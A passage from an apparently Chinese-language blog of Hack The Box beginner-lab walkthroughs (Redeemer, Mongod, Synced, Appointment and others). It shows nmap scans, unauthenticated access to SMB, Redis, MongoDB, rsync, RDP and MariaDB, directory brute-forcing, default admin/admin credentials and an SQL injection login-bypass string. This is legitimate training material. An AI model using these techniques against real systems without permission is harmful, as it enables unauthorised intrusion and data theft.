Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看到這台是個有開 SMB 的機器&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;smbclient -L&lt;/code&gt; 這個指令觀察有甚麼 share 的資料夾&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $smbclient -L 10.129.215.64 
Password for [WORKGROUP\tusoaring]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	WorkShares      Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.215.64 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以發現 WorkShares 這個資料夾不用密碼就可以存取&lt;/li&gt;
&lt;li&gt;直接進去&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
└──╼ $smbclient \\\\10.129.215.64/WorkShares
Password for [WORKGROUP\tusoaring]:
Try &amp;quot;help&amp;quot; to get a list of possible commands.
smb: \&amp;gt; ls
  .                                   D        0  Mon Mar 29 03:22:01 2021
  ..                                  D        0  Mon Mar 29 03:22:01 2021
  Amy.J                               D        0  Mon Mar 29 04:08:24 2021
  James.P                             D        0  Thu Jun  3 03:38:03 2021

		5114111 blocks of size 4096. 1734229 blocks available
smb: \&amp;gt; cd Amy.J\
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;最後在 James.P 的資料夾找到 FLAG&lt;/li&gt;
&lt;li&gt;用 get 把 flag 載下來就好了&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash!&quot;&gt;5f61c10dffbc77a704d76016a22f1664
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Redeemer (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣 nmap 起手掃看看&lt;/li&gt;
&lt;li&gt;這邊 &lt;code&gt;-p-&lt;/code&gt; 的意思是掃所有 port&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-T4&lt;/code&gt; 的意思是快速掃&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4  10.129.118.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 01:21 CDT
Nmap scan report for 10.129.118.118
Host is up (0.0090s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.92 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有台 redis 在上面&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://hackmd.io/@cynote/BkobMykLw&quot;&gt;Redis 在幹嘛~&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;直接用 redis-cli 連上去&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;redis-cli -h 10.129.118.118
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;連上去後可以先用 &lt;code&gt;info&lt;/code&gt; 看到一些基本資訊&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;10.129.118.118:6379&amp;gt; info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:753
run_id:d285de4141cf3ace3f006256d4a11feb25a5a112
tcp_port:6379
uptime_in_seconds:1033
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:8711697
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:5840896
used_memory_rss_human:5.57M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.00%
used_memory_overhead:846142
used_memory_startup:796224
used_memory_dataset:13482
used_memory_dataset_perc:21.26%
allocator_allocated:1601400
allocator_active:1949696
allocator_resident:9158656
total_system_memory:2084024320
total_system_memory_human:1.94G
used_memory_lua:41984
used_memory_lua_human:41.00K
used_memory_scripts:0
used_memory_scripts_human:0B
number_of_cached_scripts:0
maxmemory:0
maxmemory_human:0B
maxmemory_policy:noeviction
allocator_frag_ratio:1.22
allocator_frag_bytes:348296
allocator_rss_ratio:4.70
allocator_rss_bytes:7208960
rss_overhead_ratio:0.64
rss_overhead_bytes:-3317760
mem_fragmentation_ratio:7.14
mem_fragmentation_bytes:5023280
mem_not_counted_for_evict:0
mem_replication_backlog:0
mem_clients_slaves:0
mem_clients_normal:49694
mem_aof_buffer:0
mem_allocator:jemalloc-5.2.1
active_defrag_running:0
lazyfree_pending_objects:0

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1719987597
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:0
rdb_current_bgsave_time_sec:-1
rdb_last_cow_size:413696
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
aof_last_cow_size:0

# Stats
total_connections_received:7
total_commands_processed:8
instantaneous_ops_per_sec:0
total_net_input_bytes:346
total_net_output_bytes:18213
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
expired_stale_perc:0.00
expired_time_cap_reached_count:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:504
migrate_cached_sockets:0
slave_expires_tracked_keys:0
active_defrag_hits:0
active_defrag_misses:0
active_defrag_key_hits:0
active_defrag_key_misses:0

# Replication
role:master
connected_slaves:0
master_replid:7996f26a9a5e68fd7dcf4351a0dd5b48a0f64e5f
master_replid2:0000000000000000000000000000000000000000
master_repl_offset:0
second_repl_offset:-1
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:1.052812
used_cpu_user:0.957810
used_cpu_sys_children:0.000000
used_cpu_user_children:0.001695

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=4,expires=0,avg_ttl=0
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;可以看到有 db0 這個資料庫&lt;/li&gt;
&lt;li&gt;我們用 select 指令切換 (在 index 0)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;select 0
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;進來後可以用 &lt;code&gt;KEYS *&lt;/code&gt; 查看你面的資料&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;10.129.118.118:6379&amp;gt; KEYS * 
1) &amp;quot;flag&amp;quot;
2) &amp;quot;numb&amp;quot;
3) &amp;quot;temp&amp;quot;
4) &amp;quot;stor&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;最後用 &lt;code&gt;GET&lt;/code&gt; 就可以看到裡面的資料 (FLAG) 了!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;10.129.118.118:6379&amp;gt; GET flag
&amp;quot;03e1d2b376c37ab3f5319922053953eb&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://redis.io/docs/latest/commands/&quot;&gt;官方語法&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Explosion (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一樣先 NMAP 起手&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.235.84
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 02:21 CDT
Nmap scan report for 10.129.235.84
Host is up (0.0099s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-07-03T07:21:55+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: EXPLOSION
|   NetBIOS_Domain_Name: EXPLOSION
|   NetBIOS_Computer_Name: EXPLOSION
|   DNS_Domain_Name: Explosion
|   DNS_Computer_Name: Explosion
|   Product_Version: 10.0.17763
|_  System_Time: 2024-07-03T07:21:48+00:00
| ssl-cert: Subject: commonName=Explosion
| Not valid before: 2024-07-02T07:03:24
|_Not valid after:  2025-01-01T07:03:24
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-07-03T07:21:50
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.76 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看到 port 3389 有開，它是遠端桌面通訊協定（RDP）預設的連接埠&lt;/li&gt;
&lt;li&gt;我們可以用 &lt;code&gt;xfreerdp&lt;/code&gt; 這個工具&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://linuxcommandlibrary.com/man/xfreerdp&quot;&gt;這邊可以看到基本的用法&lt;/a&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/u:&lt;/code&gt; 指定 username&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/p:&lt;/code&gt; 指定 password&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;/v:&lt;/code&gt; 指定 Ip&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;嘗試連線&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $xfreerdp /v:10.129.235.84:3389 /u:administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;這帳號居然不用 password 就可以登入&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/SJ8u6_Gv0.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;遠端成功! 就拿到 flag 了!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Preignition (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;直接 NMAP 起手&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-1famon8h34]─[/usr/share/wordlists/dirbuster]
└──╼ $nmap -sC -sV -Pn 10.129.239.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:02 CDT
Nmap scan report for 10.129.239.135
Host is up (0.0098s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.14.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;開了個網頁服務&lt;/li&gt;
&lt;li&gt;進去看什麼都沒，直接工具開掃&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;ffuf -u &amp;quot;http://10.129.239.135/FUZZ&amp;quot; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;或是&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;gobuster dir -u 10.129.239.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;找到 &lt;code&gt;admin.php&lt;/code&gt; ， 試了 &lt;code&gt;admin/admin&lt;/code&gt; 就登入拿到 flag ㄌ!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Mongod (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.30
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:26 CDT
Nmap scan report for 10.129.228.30
Host is up (0.0094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
27017/tcp open  mongodb MongoDB 3.6.8 3.6.8
| mongodb-databases: 
|   totalSize = 270336.0
|   databases
|     3
|       name = sensitive_information
|       empty = false
|       sizeOnDisk = 32768.0
|     2
|       name = local
|       empty = false
|       sizeOnDisk = 73728.0
|     4
|       name = users
|       empty = false
|       sizeOnDisk = 32768.0
|     1
|       name = config
|       empty = false
|       sizeOnDisk = 98304.0
|     0
|       name = admin
|       empty = false
|       sizeOnDisk = 32768.0
|_  ok = 1.0
| mongodb-info: 
|   MongoDB Build info
|     gitVersion = 8e540c0b6db93ce994cc548f000900bdc740f80a
|     storageEngines
|       3 = wiredTiger
|       2 = mmapv1
|       1 = ephemeralForTest
|       0 = devnull
|     ok = 1.0
|     versionArray
|       3 = 0
|       2 = 8
|       1 = 6
|       0 = 3
|     allocator = tcmalloc
|     debug = false
|     modules
|     maxBsonObjectSize = 16777216
|     version = 3.6.8
|     bits = 64
|     buildEnvironment
|       distarch = x86_64
|       distmod = 
|       linkflags = -Wl,-Bsymbolic-functions -Wl,-z,relro -pthread -Wl,-z,now -rdynamic -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
|       target_arch = x86_64
|       target_os = linux
|       cxx = g++: g++ (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
|       cc = cc: cc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
|       cxxflags = -g -O2 -fdebug-prefix-map=/build/mongodb-FO9rLu/mongodb-3.6.9+really3.6.8+90~g8e540c0b6d=. -fstack-protector-strong -Wformat -Werror=format-security -Woverloaded-virtual -Wpessimizing-move -Wredundant-move -Wno-maybe-uninitialized -Wno-class-memaccess -std=c++14
|       ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Wno-error=c++1z-compat -Wno-error=noexcept-type -Wno-error=format-truncation -Wno-error=int-in-bool-context -Winvalid-pch -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -Wno-format-truncation -fstack-protector-strong -fno-builtin-memcmp
|     openssl
|       compiled = OpenSSL 1.1.1f  31 Mar 2020
|       running = OpenSSL 1.1.1f  31 Mar 2020
|     sysInfo = deprecated
|     javascriptEngine = mozjs
... 以下省略
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.gaia.net/tc/news_detail/2/134/what-is-mongodb&quot;&gt;有 mongodb 那是種 nosql 資料庫&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;那就用 mongosh 連上去看看!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $mongosh --host 10.129.228.30
Current Mongosh Log ID:	668514c186ff5f7460597192
Connecting to:		mongodb://10.129.228.30:27017/?directConnection=true&amp;amp;appName=mongosh+2.2.9
Using MongoDB:		3.6.8
Using Mongosh:		2.2.9
mongosh 2.2.10 is available for download: https://www.mongodb.com/try/download/shell

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting
   2024-07-03T08:05:55.418+0000: 
   2024-07-03T08:05:55.418+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
   2024-07-03T08:05:55.418+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
   2024-07-03T08:05:57.248+0000: 
   2024-07-03T08:05:57.248+0000: ** WARNING: Access control is not enabled for the database.
   2024-07-03T08:05:57.248+0000: **          Read and write access to data and configuration is unrestricted.
   2024-07-03T08:05:57.248+0000:
------

test&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;指定 host 就連到了!&lt;/li&gt;
&lt;li&gt;我們來看看 &lt;code&gt;db&lt;/code&gt; 有甚麼，用 &lt;code&gt;show dbs&lt;/code&gt; 查看&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;test&amp;gt; show dbs
admin                  32.00 KiB
config                 72.00 KiB
local                  72.00 KiB
sensitive_information  32.00 KiB
users                  32.00 KiB
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看一下 sensitive_information&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;use&lt;/code&gt; 可以切換 db&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;test&amp;gt; use sensitive_information
switched to db sensitive_information
sensitive_information&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看一下 collections ， 一樣用 &lt;code&gt;show&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;sensitive_information&amp;gt; show collections
flag
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;找到 flag 了! 讀取它&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;db.{collection&amp;#39;s name}_find()&lt;/code&gt; 讀取!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;sensitive_information&amp;gt; db.flag.find()
[
  {
    _id: ObjectId(&amp;#39;630e3dbcb82540ebbd1748c5&amp;#39;),
    flag: &amp;#39;1b6e6fb359e7c40241b6d431427ba6ea&amp;#39;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;1b6e6fb359e7c40241b6d431427ba6ea
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Synced (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP 起手++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn 10.129.228.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 09:47 CDT
Nmap scan report for 10.129.228.37
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blog.gtwang.org/linux/rsync-local-remote-file-synchronization-commands/&quot;&gt;了解一下 rsync 這個服務&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;所以我們直接看看有甚麼檔案可以用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;--list-only&lt;/code&gt; 就是只列出檔案，不下載&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/ ./ --list-only
public         	Anonymous Share
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;追進去 &lt;code&gt;public&lt;/code&gt; 這個資料夾&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/public ./ --list-only
receiving incremental file list
drwxr-xr-x          4,096 2022/10/24 17:02:23 .
-rw-r--r--             33 2022/10/24 16:32:03 flag.txt

sent 24 bytes  received 72 bytes  10.11 bytes/sec
total size is 33  speedup is 0.34
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;看到FLAG了! 下載!&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/public/flag.txt ./
receiving incremental file list
flag.txt

sent 43 bytes  received 133 bytes  27.08 bytes/sec
total size is 33  speedup is 0.19

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $cat flag.txt 
72eaf5344ebb84908ae543a719830519
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;拿到 FLAG 了~&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;rsync 常用參數&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v&lt;/code&gt;：verbose 模式，輸出比較詳細的訊息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-r&lt;/code&gt;：遞迴（recursive）備份所有子目錄下的目錄與檔案。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-a&lt;/code&gt;：封裝備份模式，相當於 -rlptgoD，遞迴備份所有子目錄下的目錄與檔案，保留連結檔、檔案的擁有者、群組、權限以及時間戳記。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-z&lt;/code&gt;：啟用壓縮。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-h&lt;/code&gt;：將數字以比較容易閱讀的格式輸出。&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;關於為什麼要用 rsync://{IP}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;Usage: rsync [OPTION]... SRC [SRC]... DEST
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST
  or   rsync [OPTION]... SRC [SRC]... rsync://[USER@]HOST[:PORT]/DEST
  or   rsync [OPTION]... [USER@]HOST:SRC [DEST]
  or   rsync [OPTION]... [USER@]HOST::SRC [DEST]
  or   rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
The &amp;#39;:&amp;#39; usages connect via remote shell, while &amp;#39;::&amp;#39; &amp;amp; &amp;#39;rsync://&amp;#39; usages connect
to an rsync daemon, and require SRC or DEST to start with a module name.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Appointment (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;NMAP++++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.224.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:18 CDT
Nmap scan report for 10.129.224.236
Host is up (0.0098s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;有個網頁服務，直接去看看&lt;/li&gt;
&lt;li&gt;是個登入頁面，結果我先去掃網頁目錄 (什麼都沒掃到 X&lt;/li&gt;
&lt;li&gt;回去看敘述結果是 sql-injection ， 直接 &lt;code&gt;admin/&amp;#39; or 1=1;--# &amp;#39;&lt;/code&gt; 就有FLAGㄌ...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://hackmd.io/_uploads/ryjmR1mvR.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Sequel (Pwned!)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;繼續 NMAP 起手++++++++&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.210.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:46 CDT
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.96% done; ETC: 10:49 (0:00:00 remaining)
Nmap scan report for 10.129.210.28
Host is up (0.0082s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql?
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 119
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolNew, ODBCClient, LongColumnFlag, FoundRows, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolOld, Support41Auth, SupportsCompression, DontAllowDatabaseTableColumn, InteractiveClient, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: p/7dt&amp;lt;l,2V&amp;gt;n5X;_OJfC
|_  Auth Plugin Name: mysql_native_password
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;觀察到用 &lt;code&gt;mysql&lt;/code&gt; ， &lt;code&gt;root&lt;/code&gt; 還沒有設密碼&lt;/li&gt;
&lt;li&gt;直接本地拿 &lt;code&gt;mysql&lt;/code&gt; 遠端登入&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;┌─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $mariadb -h 10.129.210.28 -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 132
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &amp;#39;help;&amp;#39; or &amp;#39;\h&amp;#39; for help. Type &amp;#39;\c&amp;#39; to clear the current input statement.
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;-h&lt;/code&gt; 代表 Host&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;-u&lt;/code&gt; 代表 Username&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;-p&lt;/code&gt; 代表 Password&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;用 &lt;code&gt;show&lt;/code&gt; 看一下有甚麼 db&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash=&quot;&gt;MariaDB [(none)]&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
